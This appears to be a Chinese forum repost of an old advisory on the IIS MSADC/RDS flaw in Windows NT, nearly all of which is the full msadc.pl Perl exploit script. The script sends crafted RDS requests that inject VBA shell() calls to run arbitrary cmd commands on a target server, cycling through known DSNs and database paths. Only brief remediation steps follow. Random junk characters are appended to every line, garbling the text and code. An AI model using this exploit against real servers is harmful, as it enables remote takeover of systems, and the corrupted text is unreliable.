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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) TBU&6M>{3  
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涉及程序: k7usMVAA  
Microsoft NT server 85xR2<:  
UFb )AnK  
描述: 0}q uG^%_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 e'D&8z_;  
^eYVWQ'  
详细: &H:(z4/  
如果你没有时间读详细内容的话,就删除: vn"{I&L+w0  
c:\Program Files\Common Files\System\Msadc\msadcs.dll  zi`o#+  
有关的安全问题就没有了。 s#=7IH30  
O#S.n#{  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 QWHug:c  
o`N  9!M  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 x>`%DwoRI  
关于利用ODBC远程漏洞的描述,请参看: :${HQd+  
Jz *;q~  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X1vd'>  
&m:uO^-D  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 3fQuoQuD"}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp W#WVfr  
0T5L_%c  
这里不再论述。 AoL2@C.C%D  
IG9VdDj  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %UCr;H/  
M%;hB*9  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset =xx]@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! v9O~@v{=  
!9P';p}2  
L"Olwwmk  
#将下面这段保存为txt文件,然后: "perl -x 文件名" qE3UO<FA  
+-CtjhoS  
#!perl F,)%?<!I  
# EV@X*| w  
# MSADC/RDS 'usage' (aka exploit) script 6]%sFy2  
# Jd^,]  
# by rain.forest.puppy k%QpegN  
# KE3;V2Ym f  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me CDR@ `1-  
# beta test and find errors! r/6o \-  
:\7X}n*&  
use Socket; use Getopt::Std; RcU}}V  
getopts("e:vd:h:XR", \%args);   =`s!;  
!6>~?gNd  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; o@i#|kx,  
mg.kr:  
if (!defined $args{h} && !defined $args{R}) { &/]Fc{]^$f  
print qq~ {vyv7L  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3r."j2$Hs0  
-h <host> = host you want to scan (ip or domain) 3H6lBF  
-d <seconds> = delay between calls, default 1 second YRN06*hS  
-X = dump Index Server path table, if available @x'"~"%7b  
-v = verbose =\wxsL  
-e = external dictionary file for step 5 f-G :uI_  
90*5 5\>{  
Or a -R will resume a command session 3! oi+_  
?FF4zI~  
~; exit;} v4c[(&  
L4z ~B!uvF  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; bU:EqW\(^  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} =sJ7=39  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} T1Z;r*}  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 8sTp`}54 J  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ah0`KxO]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } K<qk.~ S  
OJ5#4qJ[  
if (!defined $args{R}){ $ret = &has_msadc; :hFIl0$,"3  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} _zn.K&I-*k  
m\r@@!  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" %Iv,@}kvT+  
. "cmd /c "; *><F'   
$in=<STDIN>; chomp $in; +&( Mgbna  
$command="cmd /c " . $in ; 5l2 ?  
';jYOVe  
if (defined $args{R}) {&load; exit;} 6NM:DI\%  
c[4i9I3v  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?Unb? {,&2  
&try_btcustmr; _R13f@NWB:  
xLWw YK  
print "\nStep 2: Trying to make our own DSN..."; =Og)q$AL  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; B!_mC<*4`X  
p~^D\jR.  
print "\nStep 3: Trying known DSNs..."; ke]Lw  
&known_dsn; 9m<jcxla$  
,p2s:&"  
print "\nStep 4: Trying known .mdbs..."; y 4I6  
&known_mdb; L> 9V&\  
IE&!YP(U(  
if (defined $args{e}){ ~yfNxH~k  
print "\nStep 5: Trying dictionary of DSN names..."; )d1_Wm#B  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 1V4s<m>#  
$.PuK~}  
print "Sorry Charley...maybe next time?\n"; P&)xz7wG  
exit; mdmvT~`  
+HeTtFo{M  
############################################################################## l(u.I2^o  
Y*>#T  
sub sendraw { # ripped and modded from whisker %Yicg6:  
sleep($delay); # it's a DoS on the server! At least on mine... 5eoska#y   
my ($pstr)=@_; PMh^(j[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d + /&?3  
die("Socket problems\n"); )- viGxJ@  
if(connect(S,pack "SnA4x8",2,80,$target)){ K[Kh&`T  
select(S); $|=1; X4AyX.p  
print $pstr; my @in=<S>; D@|W<i-  
select(STDOUT); close(S); /#-C4"|  
return @in; V|/NB  
} else { die("Can't connect...\n"); }} z4+k7a@jn  
*-q"3 D`  
############################################################################## OjF_ %5  
)Xak JU^o  
sub make_header { # make the HTTP request %Nhx;{  
my $msadc=<<EOT 8V)^R(\;  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 AW_(T\P:u  
User-Agent: ACTIVEDATA S\5bmvqP"  
Host: $ip 4.h=&jz&  
Content-Length: $clen Y/ee~^YxK'  
Connection: Keep-Alive 7,|c  
? glSC$b  
ADCClientVersion:01.06 e~@ [18  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6morum  
2viM)+  
--!ADM!ROX!YOUR!WORLD! >`wV1^M6?  
Content-Type: application/x-varg P h}|dGb  
Content-Length: $reqlen bQP{|  
zG9Y!SY\-  
EOT K]|> Et`  
; $msadc=~s/\n/\r\n/g; h0-hT   
return $msadc;} ;3: q?&  
gk+h8 LZ  
############################################################################## Y&_&s7z  
^Au _U  
sub make_req { # make the RDS request !V\Q<So<  
my ($switch, $p1, $p2)=@_; xY U.D+RY  
my $req=""; my $t1, $t2, $query, $dsn; 92d6U2T4&  
WxJf{=-  
if ($switch==1){ # this is the btcustmr.mdb query bH2MdU  
$query="Select * from Customers where City=" . make_shell(); ~r$jza~o(  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . XC "'Q+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} tBT<EV{ G  
9D}/\jM  
elsif ($switch==2){ # this is general make table query S:q3QgU=X  
$query="create table AZZ (B int, C varchar(10))"; Ns0cgCrhX  
$dsn="$p1";} @qjfZH@  
eKz?"g/j  
elsif ($switch==3){ # this is general exploit table query I,VH=Yn5,  
$query="select * from AZZ where C=" . make_shell(); 3=$q  
$dsn="$p1";} vZ N!Zl7S  
+sx 8t  
elsif ($switch==4){ # attempt to hork file info from index server Vc%R$E%  
$query="select path from scope()"; ''^Y>k  
$dsn="Provider=MSIDXS;";} UH>F|3"d  
)0e2ic/  
elsif ($switch==5){ # bad query xD /9F18  
$query="select"; jhX[fT1m  
$dsn="$p1";} N!x =eC  
 4)4+M  
$t1= make_unicode($query); G0{H5_h  
$t2= make_unicode($dsn); P"?FnTbv[  
$req = "\x02\x00\x03\x00"; ls`,EFF  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8kt5KnD2  
$req.= "\x00\x00" . $t1 ; 0lsXCr_X  
$req.= "\x08\x00" . pack ("S1", length($t2)); TO*BH^5R  
$req.= "\x00\x00" . $t2 ; ^6P3%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; iy\nio`  
return $req;} 7Irau_  
uV hCxUMQ  
############################################################################## `)h6j)xiQ  
TLf9>= OVh  
sub make_shell { # this makes the shell() statement y"<))-MH  
return "'|shell(\"$command\")|'";} pdb1GDl0q  
)wtaKF.-  
############################################################################## ~i_Tw#}  
CBKkBuKuk  
sub make_unicode { # quick little function to convert to unicode /.eeO k  
my ($in)=@_; my $out; X$\i{p9jw  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } KZ e)K_1[  
return $out;} hv$m4,0WB  
%77p5ctW  
############################################################################## 1b>C<\  
 oM1 6C|  
sub rdo_success { # checks for RDO return success (this is kludge) SL&hJs4c'  
my (@in) = @_; my $base=content_start(@in); NLe}Jqp  
if($in[$base]=~/multipart\/mixed/){ ]$ b<Gs  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} #W2[  
return 0;} Q U F$@)A  
5ZPzPUa8~  
############################################################################## desThnT w  
-g/hAxb5  
sub make_dsn { # this makes a DSN for us =AEz9d ciS  
my @drives=("c","d","e","f"); Na,_  
print "\nMaking DSN: "; >71&]/Rv  
foreach $drive (@drives) {  <n\`d  
print "$drive: "; TfZ6F8|B  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . rba;&D;  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" s& {Qdf  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 5[9 bWB{  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 5NXt$k5  
return 0 if $2 eq "404"; # not found/doesn't exist OAZ#|U   
if($2 eq "200") { ]Lqt( c  
foreach $line (@results) { kF V7l  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ?vGf fMm  
} return 0;} kao}(?x%  
npu6E;'l*  
############################################################################## |\uYv|sT  
"x&C5l}n  
sub verify_exists { N 6O8Wn  
my ($page)=@_; f|aDTWF  
my @results=sendraw("GET $page HTTP/1.0\n\n"); )06iV  
return $results[0];} #S+Z$DQD  
8C.!V =@\  
############################################################################## 4`2$_T$ F  
!m{2WW-  
sub try_btcustmr { VAYb=4lt  
my @drives=("c","d","e","f"); |AH@ EI>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [~k]{[NJ  
z]$j7dp  
foreach $dir (@dirs) { <-jGqUN_I  
print "$dir -> "; # fun status so you can see progress 8!h'j  
foreach $drive (@drives) { ~k4W<   
print "$drive: "; # ditto 76#.F  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; tnW;E\cR  
$reqlenlen=length( "$reqlen" ); VZA3IbK}  
$clen= 206 + $reqlenlen + $reqlen; h[ 6hM^n  
{B yn{?w  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8tWE=8<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} jgvh[@uB?  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} j+748QAhh  
B$`lY DqaG  
############################################################################## a|N0(C  
?'~;Q)  
sub odbc_error { VvgN3e[  
my (@in)=@_; my $base; .~dEUt/|)  
my $base = content_start(@in); >7>7/7=O  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Z[,`"}}hv=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {>.>7{7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z=?0)e(H,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W<gD6+=8  
return $in[$base+4].$in[$base+5].$in[$base+6];} @&/\r 7 '  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; g+Ph6W  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . NFoZ4R1gy  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} :2q ?>\  
eECj_eH-  
############################################################################## P6OM)>C  
PbUI!Xqe`  
sub verbose { |z7dRDU}]  
my ($in)=@_; 1XnBK$`  
return if !$verbose; A. Nz_!  
print STDOUT "\n$in\n";} 9c5!\m1  
6IF|3@yD  
############################################################################## x9*ys;~w  
[>uwk``_  
sub save { $T)d!$  
my ($p1, $p2, $p3, $p4)=@_; U3q5^{0d/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; dt.-C_MO  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; u@"o[e':  
close OUT;} GHrBK&  
j];1"50?  
############################################################################## u-/3(dKt  
:+pPr Gj"  
sub load { cd"wNH-  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ArdJ."  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); JE%i-UVH+;  
@p=<IN>; close(IN); wR1K8b".DC  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); F0: &>'}  
$target= inet_aton($ip) || die("inet_aton problems"); G+Ei#:W,  
print "Resuming to $ip ..."; n1`T#%e  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }moz9a  
if($p[1]==1) { .??rqaZ=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; L(Rorf~V  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; M7pvxChA  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); EreAn  
if (rdo_success(@results)){print "Success!\n";} 0eaUorm)  
else { print "failed\n"; verbose(odbc_error(@results));}} A@ { !:_55  
elsif ($p[1]==3){ @>9A$w$H|a  
if(run_query("$p[3]")){ = tP$re";o  
print "Success!\n";} else { print "failed\n"; }} S%P3ek>3  
elsif ($p[1]==4){ Lj-{t% }  
if(run_query($drvst . "$p[3]")){ u> In(7\  
print "Success!\n"; } else { print "failed\n"; }} z7$}#)Z7  
exit;} *kV#)j  
4] M =q{  
############################################################################## ?-M)54b\  
FrgV@4'2G  
sub create_table { qIUC2,&g  
my ($in)=@_; GHqBnE{B  
$reqlen=length( make_req(2,$in,"") ) - 28; @Yb Z 8Uc  
$reqlenlen=length( "$reqlen" ); -<12~HKK::  
$clen= 206 + $reqlenlen + $reqlen; 5D >BV *"  
my @results=sendraw(make_header() . make_req(2,$in,"")); {K6Kx36  
return 1 if rdo_success(@results); >cSi/a,L  
my $temp= odbc_error(@results); verbose($temp); %!#rrt,F  
return 1 if $temp=~/Table 'AZZ' already exists/; `,Q<YT ~  
return 0;} xBt4~q;#sE  
T[mw}%3<v  
############################################################################## =54Vs8.  
[_h.1oZp~  
sub known_dsn { C!oksI  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ]VmzKA|h+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Ig='a"%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", `mWQWx$V!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); k^~@9F5k  
K7y!s :rg!  
foreach $dSn (@dsns) { [k}dES#  
print "."; `8qT['`#R  
next if (!is_access("DSN=$dSn")); oT$(<$&<  
if(create_table("DSN=$dSn")){ &P{o{  
print "$dSn successful\n"; Kn3YI9  
if(run_query("DSN=$dSn")){ 7v.#o4nPK  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { DHSU?o#jY  
print "Something's borked. Use verbose next time\n";}}} print "\n";} p,!fIx  
5>0\e_V  
############################################################################## uVoF<={  
cS. 7\0$  
sub is_access { 8b8e^\l(  
my ($in)=@_; )@sJTAK  
$reqlen=length( make_req(5,$in,"") ) - 28; [w+yQ7P  
$reqlenlen=length( "$reqlen" ); yd{Y}.  
$clen= 206 + $reqlenlen + $reqlen; ptnMCF  
my @results=sendraw(make_header() . make_req(5,$in,"")); L5i#Kh_  
my $temp= odbc_error(@results); >F_qa=t%[  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 1oXz[V  
return 0;} mdmZ1:PBM  
401/33yBJ  
############################################################################## .Bm^3A  
*B)Jv9  
sub run_query { H-nFsJ(R!c  
my ($in)=@_; VPq5xSc?  
$reqlen=length( make_req(3,$in,"") ) - 28; . x\/XlM  
$reqlenlen=length( "$reqlen" ); d&$.jk8 2  
$clen= 206 + $reqlenlen + $reqlen; N{0+C?{_  
my @results=sendraw(make_header() . make_req(3,$in,"")); K{eqB!@j  
return 1 if rdo_success(@results); Lqz}&A   
my $temp= odbc_error(@results); verbose($temp); ?Oe_} jv;  
return 0;} QiQ2XW\E  
pGZl.OI  
############################################################################## A>ug'.  
*_<SWTE  
sub known_mdb { >Rz#g*@E  
my @drives=("c","d","e","f","g"); Lv`8jSt\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `W.vW8 !#  
my $dir, $drive, $mdb; P?yOLG+)l)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; f<$K.i  
Y3sNr)qss  
# this is sparse, because I don't know of many -=v/p*v0o  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8as$h*W h  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", wXIe5  
"\\system32\\certmdb.mdb", y5Z<uwXc  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% D!OG307P  
K"t:B  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", nEa'e5 lg  
"\\cfusion\\cfapps\\forums\\forums_.mdb", af`f*{Co3  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", b> >=d)R  
"\\cfusion\\cfapps\\security\\realm_.mdb", fjz2m   
"\\cfusion\\cfapps\\security\\data\\realm.mdb", X,C/x)  
"\\cfusion\\database\\cfexamples.mdb", y<Z#my$`|n  
"\\cfusion\\database\\cfsnippets.mdb", 2+r )VF:  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", b 'Nvx9=W  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", X&;]  
"\\cfusion\\brighttiger\\database\\cleam.mdb", v2W"+QS}u  
"\\cfusion\\database\\smpolicy.mdb", \8@[bpI@g  
"\\cfusion\\database\cypress.mdb", (<:rKp  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", V]CK'   
"\\website\\cgi-win\\dbsample.mdb", *9U4^lJjn  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", $M8>SLd  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" k0Vo  
); #these are just "< hx  
foreach $drive (@drives) { zdpLAr  
foreach $dir (@dirs){ T\b";+!W  
foreach $mdb (@sysmdbs) { j}x O34  
print "."; JNA}EY^2I.  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ J1v0 \  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $/U^/2)  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ RWm Q]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `sp'Cl!  
} else { print "Something's borked. Use verbose next time\n"; }}}}} tRrY)eElS  
jP7+s.j>  
foreach $drive (@drives) { Hh'14n&W  
foreach $mdb (@mdbs) {  pmpn^ZR  
print "."; vM>`CZ  
if(create_table($drv . $drive . $dir . $mdb)){ A1s=;qr  
print "\n" . $drive . $dir . $mdb . " successful\n"; vS,G<V3B  
if(run_query($drv . $drive . $dir . $mdb)){ Q17o5##x7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; & b^*N5<Z  
} else { print "Something's borked. Use verbose next time\n"; }}}} 3S2p:\]  
} (A<sFw?  
=D"63fP1  
############################################################################## Nz;*;BQK:  
zZjLt1  
sub hork_idx { {p_vR/ yN  
print "\nAttempting to dump Index Server tables...\n"; %dWFg<< |  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; @Y<ZT;J  
$reqlen=length( make_req(4,"","") ) - 28; CFrHNU  
$reqlenlen=length( "$reqlen" ); Hn'2'Vu  
$clen= 206 + $reqlenlen + $reqlen; 1#X= &N  
my @results=sendraw2(make_header() . make_req(4,"","")); %Fm;LQa ]  
if (rdo_success(@results)){ ';T5[l,  
my $max=@results; my $c; my %d; Dqcu$ V]  
for($c=19; $c<$max; $c++){ R (Pa Q  
$results[$c]=~s/\x00//g; (,9cCnvmYU  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; PC(iqL8r  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `]I5WTt*X  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; O.8m%ZjD  
$d{"$1$2"}="";} :W<,iqSCm  
foreach $c (keys %d){ print "$c\n"; } "Ohpb!J9  
} else {print "Index server doesn't seem to be installed.\n"; }} O0*L9C/Q  
L-:L= snO  
############################################################################## >]08".ajS  
la{:RlW  
sub dsn_dict { -3%)nV  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %oKc?'L0  
while(<IN>){ V +<AG*[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; &"6ktKrIg  
next if (!is_access("DSN=$dSn")); fy-Z{  
if(create_table("DSN=$dSn")){ ex!w Y  
print "$dSn successful\n"; o*ED!y7  
if(run_query("DSN=$dSn")){ r Q@o  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (GOrfr  
print "Something's borked. Use verbose next time\n";}}} +=04X F:  
print "\n"; close(IN);} _eeX]xSSl  
4O"kOEkKT>  
############################################################################## E/-Kd!|"  
, p=8tf#  
sub sendraw2 { # ripped and modded from whisker ^* v{t?u  
sleep($delay); # it's a DoS on the server! At least on mine... JkDZl?x5  
my ($pstr)=@_; 5va&N<U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || U$J_:~  
die("Socket problems\n"); )KQv4\0y<  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;m:GUp^[  
print "Connected. Getting data"; !td.ks0  
open(OUT,">raw.out"); my @in; 9s6lt#?b  
select(S); $|=1; print $pstr; "/h"Xg>q  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} wyEgm:Vt  
close(OUT); select(STDOUT); close(S); return @in; CKw)J}z  
} else { die("Can't connect...\n"); }} lXy@Cf  
^G<M+RF2J  
############################################################################## "T[jQr  
;//q jo  
sub content_start { # this will take in the server headers Y[]t_o)  
my (@in)=@_; my $c;  ,qqV11P]  
for ($c=1;$c<500;$c++) { !h(0b*FUJ  
if($in[$c] =~/^\x0d\x0a/){ J%B?YO,  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Zpd>' ${4  
else { return $c+1; }}} A0sW 9P6F  
return -1;} # it should never get here actually V]cY+4Y  
`g1~ya(MC  
############################################################################## ")buDU6_  
u`nn{C4D"  
sub funky { 3!UP>,!  
my (@in)=@_; my $error=odbc_error(@in); -^"?a]B  
if($error=~/ADO could not find the specified provider/){ &y+*3,!n8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; H;L&G|[  
exit;} FeRuZww._J  
if($error=~/A Handler is required/){ G\AQql(f4  
print "\nServer has custom handler filters (they most likely are patched)\n"; /aEQ3x  
exit;} )q-!5^ak  
if($error=~/specified Handler has denied Access/){ bG?[":k  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,gD i)]  
exit;}} E #]%e^  
o`Brr:  
############################################################################## yln.E vJjD  
'FXZ`+r|  
sub has_msadc { )ISTb  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); O, 6!`\ND  
my $base=content_start(@results); =MLL-a1  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); "VCr^'  
return 0;} ,Ou)F;r  
_xsYcw~)  
######################## :]jtV~E\  
>f/g:[  
31Du@h8YX  
解决方案: e /Y+S;a  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 2F{IDcJI\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 $!w%=  
X=~QE}x  
拿出来充数 哈哈
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